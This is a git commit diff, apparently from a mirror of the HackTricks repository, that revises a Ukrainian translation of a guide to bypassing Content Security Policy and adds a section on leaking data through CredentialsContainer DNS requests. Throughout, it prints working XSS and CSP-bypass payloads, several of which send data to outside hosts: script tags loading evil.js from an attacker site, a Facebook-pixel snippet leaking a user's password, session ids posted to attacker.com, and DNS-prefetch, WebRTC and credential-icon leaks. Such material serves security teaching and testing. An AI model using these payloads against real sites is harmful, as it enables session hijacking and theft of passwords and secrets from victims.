mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/content-security-policy-csp-bypass/READM
This commit is contained in:
parent
3bdcbcd61c
commit
c0178b9a72
@ -40,16 +40,16 @@ object-src 'none';
|
|||||||
### Директиви
|
### Директиви
|
||||||
|
|
||||||
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
|
- **script-src**: Дозволяє конкретні джерела для JavaScript, включаючи URL, вбудовані скрипти та скрипти, що викликаються обробниками подій або XSLT стилями.
|
||||||
- **default-src**: Встановлює політику за замовчуванням для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
- **default-src**: Встановлює стандартну політику для отримання ресурсів, коли конкретні директиви отримання відсутні.
|
||||||
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
- **child-src**: Вказує дозволені ресурси для веб-робітників та вбудованого вмісту фреймів.
|
||||||
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
- **connect-src**: Обмежує URL, які можуть бути завантажені за допомогою інтерфейсів, таких як fetch, WebSocket, XMLHttpRequest.
|
||||||
- **frame-src**: Обмежує URL для фреймів.
|
- **frame-src**: Обмежує URL для фреймів.
|
||||||
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, і `<applet>`.
|
- **frame-ancestors**: Вказує, які джерела можуть вбудовувати поточну сторінку, застосовується до елементів, таких як `<frame>`, `<iframe>`, `<object>`, `<embed>`, та `<applet>`.
|
||||||
- **img-src**: Визначає дозволені джерела для зображень.
|
- **img-src**: Визначає дозволені джерела для зображень.
|
||||||
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
- **font-src**: Вказує дійсні джерела для шрифтів, завантажених за допомогою `@font-face`.
|
||||||
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
- **manifest-src**: Визначає дозволені джерела файлів маніфесту додатка.
|
||||||
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
- **media-src**: Визначає дозволені джерела для завантаження медіа-об'єктів.
|
||||||
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, і `<applet>`.
|
- **object-src**: Визначає дозволені джерела для елементів `<object>`, `<embed>`, та `<applet>`.
|
||||||
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
- **base-uri**: Вказує дозволені URL для завантаження за допомогою елементів `<base>`.
|
||||||
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
- **form-action**: Перераховує дійсні кінцеві точки для відправки форм.
|
||||||
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
- **plugin-types**: Обмежує mime-типи, які може викликати сторінка.
|
||||||
@ -115,7 +115,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
|
|||||||
|
|
||||||
### 'unsafe-eval'
|
### 'unsafe-eval'
|
||||||
|
|
||||||
> [!УВАГА]
|
> [!CAUTION]
|
||||||
> Це не працює, для отримання додаткової інформації [**перевірте це**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
> Це не працює, для отримання додаткової інформації [**перевірте це**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
|
||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
||||||
@ -132,7 +132,7 @@ Content-Security-Policy: script-src https://google.com 'unsafe-eval';
|
|||||||
```yaml
|
```yaml
|
||||||
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
Content-Security-Policy: script-src 'self' https://google.com https: data *;
|
||||||
```
|
```
|
||||||
Працюючий payload:
|
Працюючий вантаж:
|
||||||
```markup
|
```markup
|
||||||
"/>'><script src=https://attacker-website.com/evil.js></script>
|
"/>'><script src=https://attacker-website.com/evil.js></script>
|
||||||
"/>'><script src=data:text/javascript,alert(1337)></script>
|
"/>'><script src=data:text/javascript,alert(1337)></script>
|
||||||
@ -159,7 +159,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||||||
```markup
|
```markup
|
||||||
"/>'><script src="/uploads/picture.png.js"></script>
|
"/>'><script src="/uploads/picture.png.js"></script>
|
||||||
```
|
```
|
||||||
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволяє вам **завантажувати лише певні типи файлів**.
|
Однак, ймовірно, що сервер **перевіряє завантажений файл** і дозволить вам **завантажити лише певні типи файлів**.
|
||||||
|
|
||||||
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
|
Більше того, навіть якщо ви зможете завантажити **JS код всередині** файлу з розширенням, прийнятим сервером (наприклад: _script.png_), цього буде недостатньо, оскільки деякі сервери, такі як apache, **вибирають MIME тип файлу на основі розширення**, а браузери, такі як Chrome, **відмовляться виконувати Javascript** код всередині того, що повинно бути зображенням. "Сподіваємось", є помилки. Наприклад, з CTF я дізнався, що **Apache не знає** про _**.wave**_ розширення, тому не обслуговує його з **MIME типом, як audio/\***.
|
||||||
|
|
||||||
@ -167,7 +167,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||||||
|
|
||||||
### Form-action
|
### Form-action
|
||||||
|
|
||||||
Якщо неможливо впровадити JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
Якщо неможливо ввести JS, ви все ще можете спробувати ексфільтрувати, наприклад, облікові дані, **впроваджуючи дію форми** (і, можливо, очікуючи, що менеджери паролів автоматично заповнять паролі). Ви можете знайти [**приклад у цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Також зверніть увагу, що `default-src` не охоплює дії форм.
|
||||||
|
|
||||||
### Third Party Endpoints + ('unsafe-eval')
|
### Third Party Endpoints + ('unsafe-eval')
|
||||||
|
|
||||||
@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||||
>
|
>
|
||||||
```
|
```
|
||||||
#### Пейлоади, що використовують Angular + бібліотеку з функціями, які повертають об'єкт `window` ([перегляньте цей пост](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||||
|
|
||||||
> [!NOTE]
|
> [!NOTE]
|
||||||
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити, **які функції з яких бібліотек повертають об'єкт `window`**.
|
> Пост показує, що ви можете **завантажити** всі **бібліотеки** з `cdn.cloudflare.com` (або будь-якого іншого дозволеного репозиторію JS бібліотек), виконати всі додані функції з кожної бібліотеки та перевірити **які функції з яких бібліотек повертають об'єкт `window`**.
|
||||||
```markup
|
```markup
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
|
||||||
@ -262,7 +262,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
|
|||||||
```
|
```
|
||||||
#### Зловживання www.google.com для відкритого редиректу
|
#### Зловживання www.google.com для відкритого редиректу
|
||||||
|
|
||||||
Наступний URL перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
Наступне URL-адреса перенаправляє на example.com (з [тут](https://www.landh.tech/blog/20240304-google-hack-50000/)):
|
||||||
```
|
```
|
||||||
https://www.google.com/amp/s/example.com/
|
https://www.google.com/amp/s/example.com/
|
||||||
```
|
```
|
||||||
@ -286,7 +286,7 @@ https://www.youtube.com/oembed?callback=alert;
|
|||||||
```
|
```
|
||||||
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
[**JSONBee**](https://github.com/zigoo0/JSONBee) **містить готові до використання JSONP кінцеві точки для обходу CSP різних вебсайтів.**
|
||||||
|
|
||||||
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є довіреною, редиректи також є довіреними.
|
Та сама вразливість виникне, якщо **достовірна кінцева точка містить Open Redirect**, оскільки якщо початкова кінцева точка є надійною, редиректи також вважаються надійними.
|
||||||
|
|
||||||
### Зловживання з боку третіх осіб
|
### Зловживання з боку третіх осіб
|
||||||
|
|
||||||
@ -322,7 +322,7 @@ Content-Security-Policy: connect-src www.facebook.com;
|
|||||||
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
5. Перейдіть до "Event Manager" вашого додатку і виберіть створений вами додаток (зауважте, що менеджер подій можна знайти за URL, подібним до цього: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
|
||||||
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
6. Виберіть вкладку "Test Events", щоб побачити події, які надсилаються з "вашого" веб-сайту.
|
||||||
|
|
||||||
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи користувацьку подію, як це:
|
Потім, на стороні жертви, ви виконуєте наступний код, щоб ініціалізувати піксель відстеження Facebook, вказуючи на app-id облікового запису розробника атакуючого та видаючи подію користувача, як це:
|
||||||
```JavaScript
|
```JavaScript
|
||||||
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
|
||||||
fbq('trackCustom', 'My-Custom-Event',{
|
fbq('trackCustom', 'My-Custom-Event',{
|
||||||
@ -333,7 +333,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||||
|
|
||||||
На додаток до згаданої переадресації для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
На додаток до згаданої редирекції для обходу обмежень шляху, існує ще одна техніка, званою Relative Path Overwrite (RPO), яка може бути використана на деяких серверах.
|
||||||
|
|
||||||
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
|
Наприклад, якщо CSP дозволяє шлях `https://example.com/scripts/react/`, його можна обійти наступним чином:
|
||||||
```html
|
```html
|
||||||
@ -347,7 +347,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
|
|
||||||
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
|
Шляхом **експлуатації цієї невідповідності в інтерпретації URL між браузером і сервером, правила шляху можуть бути обійдені**.
|
||||||
|
|
||||||
Рішення полягає в тому, щоб не розглядати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
Рішення полягає в тому, щоб не трактувати `%2f` як `/` на стороні сервера, забезпечуючи послідовну інтерпретацію між браузером і сервером, щоб уникнути цієї проблеми.
|
||||||
|
|
||||||
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
Онлайн приклад:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||||
|
|
||||||
@ -368,7 +368,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
|||||||
```
|
```
|
||||||
### AngularJS події
|
### AngularJS події
|
||||||
|
|
||||||
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
|
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є вирішальною для тактик втечі з пісочниці.
|
||||||
|
|
||||||
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
|
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
|
||||||
```xml
|
```xml
|
||||||
@ -460,7 +460,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
|||||||
|
|
||||||
#### Chrome
|
#### Chrome
|
||||||
|
|
||||||
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, то ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, тоді ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
|
||||||
```bash
|
```bash
|
||||||
script-src-elem *; script-src-attr *
|
script-src-elem *; script-src-attr *
|
||||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||||
@ -540,13 +540,13 @@ run()
|
|||||||
```
|
```
|
||||||
### Via Bookmarklets
|
### Via Bookmarklets
|
||||||
|
|
||||||
Цей напад передбачає певну соціальну інженерію, де зловмисник **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
Цей напад передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
|
||||||
|
|
||||||
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||||||
|
|
||||||
### CSP bypass by restricting CSP
|
### CSP bypass by restricting CSP
|
||||||
|
|
||||||
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, що, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, потім, через **prototype pollution** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
|
||||||
|
|
||||||
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
|
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
|
||||||
```html
|
```html
|
||||||
@ -566,7 +566,7 @@ content="script-src 'self'
|
|||||||
```
|
```
|
||||||
### JS exfiltration with Content-Security-Policy-Report-Only
|
### JS exfiltration with Content-Security-Policy-Report-Only
|
||||||
|
|
||||||
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP** і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
|
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP**, і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
|
||||||
|
|
||||||
Для прикладу [**перевірте цей CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
Для прикладу [**перевірте цей CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||||||
|
|
||||||
@ -589,7 +589,7 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||||||
```
|
```
|
||||||
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
|
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
|
||||||
|
|
||||||
Обидва методи експлуатують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як на перший погляд безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
Обидва методи використовують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
|
||||||
|
|
||||||
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
Трюк з [**тут**](https://ctftime.org/writeup/29310).
|
||||||
|
|
||||||
@ -597,11 +597,11 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
|
|||||||
|
|
||||||
### PHP помилки при надмірній кількості параметрів
|
### PHP помилки при надмірній кількості параметрів
|
||||||
|
|
||||||
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
Згідно з [**останням методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надісланий** через помилку, яку це викличе.
|
||||||
|
|
||||||
### Переповнення буфера відповіді PHP
|
### Переповнення буфера відповіді PHP
|
||||||
|
|
||||||
PHP відомий тим, що **буферизує відповідь до 4096** байтів за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **до** **CSP заголовка**, що призведе до ігнорування заголовка.\
|
||||||
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
|
Отже, техніка в основному полягає в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
|
||||||
|
|
||||||
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
|
||||||
@ -617,7 +617,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
|||||||
```
|
```
|
||||||
### SOME + 'self' + wordpress
|
### SOME + 'self' + wordpress
|
||||||
|
|
||||||
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації дивіться:
|
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** в **payload** для **доступу до DOM** **реальної кінцевої точки для зловживання**. Для отримання додаткової інформації перегляньте:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||||
@ -626,7 +626,7 @@ SOME - це техніка, яка зловживає XSS (або сильно
|
|||||||
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
|
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
|
||||||
|
|
||||||
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
|
||||||
Для отримання додаткової інформації про те, як виконати цю атаку, дивіться [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||||
|
|
||||||
## CSP Exfiltration Bypasses
|
## CSP Exfiltration Bypasses
|
||||||
|
|
||||||
@ -647,7 +647,7 @@ document.location = "https://attacker.com/?" + sessionid
|
|||||||
```
|
```
|
||||||
### DNS Prefetch
|
### DNS Prefetch
|
||||||
|
|
||||||
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів у IP-адреси та кешувати їх для подальшого використання.\
|
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.\
|
||||||
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
|
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
|
||||||
|
|
||||||
Ви можете зловживати цією поведінкою, щоб **екстрагувати чутливу інформацію через DNS-запити**:
|
Ви можете зловживати цією поведінкою, щоб **екстрагувати чутливу інформацію через DNS-запити**:
|
||||||
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
|
|||||||
|
|
||||||
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
|
||||||
|
|
||||||
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
|
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Перегляньте цей код:
|
||||||
```javascript
|
```javascript
|
||||||
;(async () => {
|
;(async () => {
|
||||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||||
@ -686,7 +686,7 @@ p.createDataChannel("")
|
|||||||
p.setLocalDescription(await p.createOffer())
|
p.setLocalDescription(await p.createOffer())
|
||||||
})()
|
})()
|
||||||
```
|
```
|
||||||
Ще один варіант:
|
Інший варіант:
|
||||||
```javascript
|
```javascript
|
||||||
var pc = new RTCPeerConnection({
|
var pc = new RTCPeerConnection({
|
||||||
"iceServers":[
|
"iceServers":[
|
||||||
@ -698,6 +698,19 @@ var pc = new RTCPeerConnection({
|
|||||||
});
|
});
|
||||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||||
```
|
```
|
||||||
|
### CredentialsContainer
|
||||||
|
|
||||||
|
Вікно облікових даних надсилає DNS-запит до iconURL без обмежень з боку сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
|
||||||
|
```javascript
|
||||||
|
navigator.credentials.store(
|
||||||
|
new FederatedCredential({
|
||||||
|
id:"satoki",
|
||||||
|
name:"satoki",
|
||||||
|
provider:"https:"+your_data+"example.com",
|
||||||
|
iconURL:"https:"+your_data+"example.com"
|
||||||
|
})
|
||||||
|
)
|
||||||
|
```
|
||||||
## Перевірка CSP політик онлайн
|
## Перевірка CSP політик онлайн
|
||||||
|
|
||||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user